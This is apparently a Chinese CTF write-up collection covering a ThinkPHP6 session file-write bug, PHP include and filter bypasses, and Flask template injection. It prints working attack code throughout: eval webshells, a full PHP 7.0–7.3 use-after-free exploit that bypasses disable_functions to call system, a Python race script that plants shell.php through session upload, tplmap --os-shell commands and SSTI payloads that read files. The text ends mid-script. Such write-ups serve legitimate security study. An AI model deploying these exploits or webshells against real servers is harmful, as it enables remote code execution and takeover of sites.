ThinkPHP6任意文件操作漏洞分析

ThinkPHP6任意文件操作漏洞分析

原理

在开启session的情况下可以导致创建任意文件以及删除文件,在特定情况下可以getshell

1
### ctype_alnum($text)

检测输入的$text中所有的字符全部是字母和数字,如果是,返回TRUE,否则返回FALSE

在源码中,/src/think/session/Store.php中的212行设置id时增加了一个函数ctype_alnum($text)

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* session_id设置
* @access public
* @param string $id session_id
* @return void
*/
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
$this->id=is_string($id) && strlen($id) === 32 && ctype_alnum($id)? $id:md5(microtime(true).session_create_id());
}

/**

而上面也有提及,ctype_alnum()函数是检测$id是否全部是字母和数字的,所以根据文件目录和更改的函数部分猜测:

1
可能是存储Session时导致的文件写入,所以我们可以跟进相关的函数,看向vendor/topthink/framework/src/think/session/Store.php的254行的save()函数

/**
* 保存session数据
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();

    $sessionId = $this->getId();

    if (!empty($this->data)) {
        $data = $this->serialize($this->data);

        $this->handler->write($sessionId, $data);
    } else {
        $this->handler->delete($sessionId);
    }

    $this->init = false;
}

/**
1
然后看向

$this->handler->write($sessionId, $data);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
然后跟进write()函数,在vendor/topthink/framework/src/think/session/driver/File.php中的210行代码
```
/**
* 写入Session
* @access public
* @param string $sessID
* @param string $sessData
* @return bool
*/
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;

if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

return $this->writeFile($filename, $data);
}

/**

然后我们看向writeFile()函数,然后跟进vendor/topthink/framework/src/think/session/driver/File.php中的170行

1
2
3
4
5
6
7
8
9
* 写文件(加锁)
* @param $path
* @param $content
* @return bool
*/
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}

我们可以从代码中看见file_put_contents()函数,可知内容$content被写入$path中

所以整体思路是

1
2
3
4
5
写入函数file_put_contents($path,$content,LOCK_EX)中的参数$path和$content来源于函数writeFile($path,$data)

而writeFile($path,$data)中的参数$path和$data来源于函数write(String $sessionID,String $sessiData)

而wirte(String $sessionID,String $sessiData)中参数$sessionID和$sessiData来源于save()中调用的write()

而其中write()函数中$sessionID的值调用了getId()传入的,在源码vendor/topthink/framework/src/think/session/Store.php中的129行

1
2
3
4
public function getId(): string
{
return $this->id;
}

但是在getId时,需要先创建sessionId,所以要找setId()函数,在源码vendor/topthink/framework/src/think/session/Store.php中的119行

1
2
3
4
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

所以我们可以看向调用setId()的函数handle()函数,在源码vendor/topthink/framework/src/think/middleware/SessionInit.php:46中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}

if ($sessionId) {
$this->session->setId($sessionId);
}

其中$cookieName其实就是PHPSESSID,而$sessonid为PHPSESSID的值,所以为可控的值,因此可以确定write()函数中$sessionID的值

而对于$sessiData的值,可以看向vendor/topthink/framework/src/think/session/Store.php:261的变量$data传入:

1
$data = $this->serialize($this->data);

而$data默认环境中是空的

1
2
3
4
5
/**
* Session数据
* @var array
*/
protected $data = [];

所以对于写入session的内容实际是有后端业务逻辑来决定的,所以要在严苛的条件下才可以写入webshell,而这个实现任意文件操作漏洞需要开启session环境下才可以实现,如果想开启session,则需要thinkphp6开启session的方法:删除/app/middleware.php最后一行的注释

实例(

打开页面,发现有注册、登录和搜索的功能,所以我们在注册和登录页面尝试sql注入测试,发现不是,所以我们扫描目录,发现有www.zip文件泄露,同时我们再随便构造payload

1
/djddbebkebkb

发现是ThinkPHP6版本的框架,然后审计源码,发现是ThinkPHP6版本框架的任意文件操作漏洞,我们可以利用PHPSESSID来确定生成的session文件的名字,然后$data数据,我们可以看向这个源码中的前端源码\app\home\controller\Member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
}

看向

1
2
3
4
5
session("Record",$data["key"])

session("Record",implode(",",$recordArr) . "," . $data["key"]);

session("Record",$record . "," . $data["key"]);

发现在搜索页面是$data的输入,所以我们可以在注册时,伪造长度为32的文件名aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php,然后进入搜索页面,进行代码的输入

1
<?php @eval($_POST[cmd];?>

然后访问路径是/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
用蚁剑进行连接,进入后台,发现读取不了/readflag,然后在搜索页面构造

1
<?php phpinfo();?>

看php版本,发现disable_function中有许多的系统函数被禁,所以需要绕过disable_function,本来打算劫持系统函数,然后利用php函数中用来发邮件的函数来启动子程序,从而在子程序中执行被禁函数,来读取/readflag的,但是发现不行,也许是被过滤了或在这里发邮件函数不可以启动子程序吧,所以我们可以使用我网上找的exp来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

上传这个文件到/var/tmp目录下,然后在搜索页面构造

1
<?php include("/var/tmp/exp.php");?>

然后访问runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php执行文件即可得到flag

preg_replace绕过以及sha1()函数的绕过以及json编码

preg_replace绕过以及sha1()函数绕过以及json编码

打开页面,有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa'])&&strlen($_GET['aaa']<20)){
$aaa=preg_replace('/^(.*)level(.*)$/','${1}<!-- filtered -->${2}',$_GET['aaa']);
if(preg_match('/pass_the_level_1#/',$aaa)){
echo "here is level 2";

if(isset($_POST['admin']) and isset($_POST['root_pwd'])){
if($_POST['admin']==$_POST['root_pwd'])
echo "<p>The level 2 can not pass!</p>";

else if(sha1($_POST['admin'])===sha1($_POST['root_pwd'])){
echo "here is level 3,do you how to overcome it?";
if(isset($_POST['level_3'])){
$level_3=json_decode($_POST['level_3']);
if($level_3->result==$result){
echo "success:".$flag;
}
else{
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
}
else{
echo '<p>out!</p>';
}
}
else{
echo "nonono!";
}
echo "<hr>";
}
?>

通过对源码的审计,我们知道只要我们通过三个if,我们就可以读取flag

1
2
3
4
5
if(preg_match('/pass_the_level_1#/',$aaa))

else if(sha1($_POST['admin'])===sha1($_POST['root_pwd']))

if($level_3->result==$result)

对于第一个if,我们可以看见

1
2
3
$aaa=preg_replace('/^(.*)level(.*)$/','${1}<!-- filtered -->${2}',$_GET['aaa']);
if(preg_match('/pass_the_level_1#/',$aaa)){
echo "here is level 2";

我们需要绕过preg_replace()函数,而由于

1
/^$/

是单行的检测替换,所以我们可以通过换行符来绕过,因此构造payload

1
?aaa=%0apass_the_level_1%23

既可通过第一个if,而对于第二个if,是sha1()的加密,它在低版本的php中有一个漏洞,就是当对数组进行加密时,由于sha1()无法处理数组类型,所以会报错且会返回false,从而绕过第二个if,因此构造payload

1
?admin[]=&root_pwd[]=123

对于第三个if,它首先会进行json解码

1
$level_3=json_decode($_POST['level_3']);

而第三个if是

1
if($level_3->result==$result)

所以我们需要输入json编码

1
{"result":0}

即可绕过第三个if,而原因好像是当我们这样构造时,输入进去的是int类型,而在比较时会转换为相同的数据类型,所以才会通过第三个if

重定向以及session文件包含以及php临时文件包含

重定向以及session文件包含以及php临时文件包含

实例([NPUCTF2020]ezinclude)

打开页面源码,发现有一个提示

1
<!--md5($secret.$name)===$pass -->

然后抓包并发送,回显的包中的set-cookie字段有一个hash值

1
Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a

所以推测是pass的值,所以构造

1
?pass=fa25e54758d5d5c1927781a6ede89f8a

发现出现

1
window.location.href="flflflflag.php";

字段,当在浏览器构造

1
/flflflflag.php

发现出现404页面,然后通过抓包后同样get提交

1
/flflflflag.php

发现原来是重定向,但是通过bp抓包,可以绕过,所以抓包构造/flflflflag.php,发现是文件包含

1
include($_GET["file"])

但是不知道flag.php在哪一个文件中,但是通过目录扫描,发现有一个dir.php文件,里面有临时文件的信息,而php7有一个特性,就是当利用过滤器strip_tags来从字符串中去除HTML和PHP标记时,可以让php执行时直接出现Segment Fault(段故障),这样php的垃圾回收机制就不会继续执行,导致post提交的文件会保存在临时文件夹中不会被清除,而访问dir.php可以知道此时post上传文件的名字

所以我们可以利用php伪协议来调用strip_tags过滤器,并与此同时post提交文件,致使php执行时出现Segment Fault,post提交的文件会保存在临时文件夹中
所以我们可以利用这个漏洞以及inculde()函数的包含来任意代码执行,因此exp

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO
url="http://b029c3b5-3789-4d78-9258-1ff98f05a610.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

此时,只要访问dir.php,即可知道post提交的文件的文件名为

1
string(9) "phpfx0Sxt" 

然后我们在构造

1
/flflflflag.php?file=/tmp/phpfx0Sxt

对文件进行包含,即可执行代码,注意要抓包提交,在浏览器提交的话会重定向到404.html文件中,然后ctrl+F找flag字段即可,由于有include()函数,所以也可以尝试以下session文件包含

在session中上传的数据会保存在sess_{sessid}中,然后系统会对这个文件进行检测,有害则删除,无害则留下,所以我们可以利用检测的时间,对这个文件进行包含,从而执行代码,所以我们可以写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import sys
import requests
import threading

host = 'http://b65810ac-4e60-430f-a394-3ee290d0158d.node4.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
print(response.text)
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

其中这串代码就是我们想要执行的恶意代码

1
<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

而这串代码的意思是会在根目录下创建shell.php文件,且shell文件中内容为

1
<?php @eval($_POST[cmd])?>

所以我们直接构造

1
2
3
/shell.php

post提交:cmd=phpinfo();

即可看到php版本信息,然后找flag字段就可以获得flag

参考文章:[https://www.icode9.com/content-4-1033782.html]

flask模板注入以及arjun和tplmap工具运用以及rc4加密

flask模板注入之arjun和tplmap工具的使用

打开页面,发现页面有显示flask字段,再看题目名称,可以推测是flask注入,但是注入点在哪里呢,找不到,所以我们可以使用arjun工具爆出注入点

1
python3 arjun.py -u http://url/ --get -d 5 -t 1

-d 5的作用是请求间隔,如果服务器设置了防ddos,则一定要加-d 5,否则会429,无法爆破出来,最后爆破,结果

1
2
3
4
5
6
7
8
9
10
11
12
Analysing the content of the webpage
Analysing behaviour for a non-existent parameter
Reflections: 0
Response Code: 200
Content Length: 2292
Plain-text Length: 428
Parsing webpage for potential parameters
Performing heuristic level checks
Heuristic found 2 potential parameters.
Scan Completed
Valid parameter found: name
Reason: Different number of reflections

因此,我们可以知道注入点是name,所以我们构造payload

1
/?name={{7*7}}

发现回显

1
I ♥ Flask & 49 

因此,注入点找到,我们可以使用内置类subprocess.Popen类来执行命令,但是这里有个tplmap的工具,可以让我们知道是什么类型的模板注入以及获得shell

我们可以输入命令

1
python2 tplmap.py -u http://url/?name=1

即可看到是jinja模板的注入,然后输入

1
python2 tplmap.py -u http://url/?name=1 --os-shell

即可获得shell,然后直接

1
cat flag.txt

即可获得flag

flask模板注入之rc4加密

打开页面后,发现是

1
Welcome To Find Secret

然后查看页面源码以及抓包,也发现不了有用信息,所以我们用dirsearch.py工具扫以下,发现

1
/secret

回显出

1
Tell me your secret.I will encrypt it so other can't see

通过这句话,推测要传参,且参数为secret,所以构造

1
/secret?secret=1

发现回显一个字母,所以尝试增长字符串

1
/secret?secret=11111111111111111111111

发现报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
UnicodeDecodeError

UnicodeDecodeError: 'ascii' codec can't decode byte 0xfb in position 4: ordinal not in range(128)
Traceback (most recent call last)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2309, in __call__

return self.wsgi_app(environ, start_response)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2295, in wsgi_app

response = self.handle_exception(e)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1741, in handle_exception

reraise(exc_type, exc_value, tb)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2292, in wsgi_app

response = self.full_dispatch_request()

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1815, in full_dispatch_request

rv = self.handle_user_exception(e)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1718, in handle_user_exception

reraise(exc_type, exc_value, tb)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1813, in full_dispatch_request

rv = self.dispatch_request()

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1799, in dispatch_request

return self.view_functions[rule.endpoint](**req.view_args)

File "/app/app.py", line 35, in secret

a=render_template_string(safe(deS))

File "/usr/local/lib/python2.7/site-packages/flask/templating.py", line 149, in render_template_string

return _render(ctx.app.jinja_env.from_string(source),

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 880, in from_string

return cls.from_code(self, self.compile(source), globals, None)

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 579, in compile

source = self._parse(source, name, filename)

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 497, in _parse

return Parser(self, source, name, encode_filename(filename)).parse()

File "/usr/local/lib/python2.7/site-packages/jinja2/parser.py", line 40, in __init__

self.stream = environment._tokenize(source, name, filename, state)

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 528, in _tokenize

source = self.preprocess(source, name, filename)

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 522, in preprocess

self.iter_extensions(), text_type(source))

UnicodeDecodeError: 'ascii' codec can't decode byte 0xfb in position 4: ordinal not in range(128)

我们从报错的信息中找到flask模板注入的函数

1
a=render_template_string(safe(deS))

所以点击去看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(secret==None):

return 'Tell me your secret.I will encrypt it so others can\'t see'

rc=rc4_Modified.RC4("HereIsTreasure") #解密

deS=rc.do_crypt(secret)



a=render_template_string(safe(deS))



if 'ciscn' in a.lower():

return 'flag detected!'

return a

可知,会对get提交的参数secret的值进行rc4解密

1
2
3
rc=rc4_Modified.RC4("HereIsTreasure")   #解密

deS=rc.do_crypt(secret)

所以,我们需要对secret进行加密,然后解密后的secret会赋值给des,然后用render_template_string()函数进行模板渲染,所以我们可以使用内置类来执行命令,从而造成模板注入,但是内置类需要先rc4加密,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

即可得到

1
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

然后构造payload

1
/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

即可得到flag

json字符绕过以及伪协议

json字符绕过以及伪协议

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

通过分析源码,我们可知道

1
$body=file_get_contents('php://input');

是$body将接受post提交的数据

而代码

1
$json=json_decode($body,true);

是将$body进行json解码

而从源码中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

可知,这个自定义函数is_valid()的作用是正则过滤掉一些关键词,从

1
2
3
4
5
6
7
8
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];

我们可以知道.和flag,以及一些协议都被过滤了,而我们看向这个if

1
2
3
4
5
6
7
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
}

我们知道我们需要$body不包含过滤的关键词,$json和$json[‘page’]不为空,从而让我们可以利用

1
$content = file_get_contents($page);

来读取flag,而且我们还要让$content有效,且得到的$content不包含正则过滤的关键词,从而绕过这个if

1
if (!$content || !is_valid($content))

而最后的代码

1
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);

如果得到的$content中包含ctf字段的话,会用censored来代替,通过对源码的通读,我们可以知道源码中只对post提交的json编码的数据进行检验,所以我们可以利用json转义字符绕过,即将字符转为16进制,并加上\u,实例

1
f的16进制是70,则json转义字符为\u0070

因此,我们可以利用php伪协议来读取flag,即post提交

1
2
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

然后得到

1
{"content":"ZmxhZ3tiOWRkZGExNy05NjI2LTRhODAtYTcxMC0wMzgxZTkzMWE1MzB9Cg=="}

base64解码,即可得到flag

异或绕过以及文件上传之.htaccess文件以及open_basedir绕过

异或绕过以及文件上传之.htaccess文件以及open_basedir绕过

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

通过审计源码,我们可以看见一个正则过滤

1
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)

可见它过滤了数字和字母,以及一些符号,所以此时我们可以尝试着使用取反绕过或异或绕过,但是由于这里有长度绕过

1
if(strlen($character_type)>12)

所以最后决定采用异或绕过,因此我们可以写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function finds($string){
$index=0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
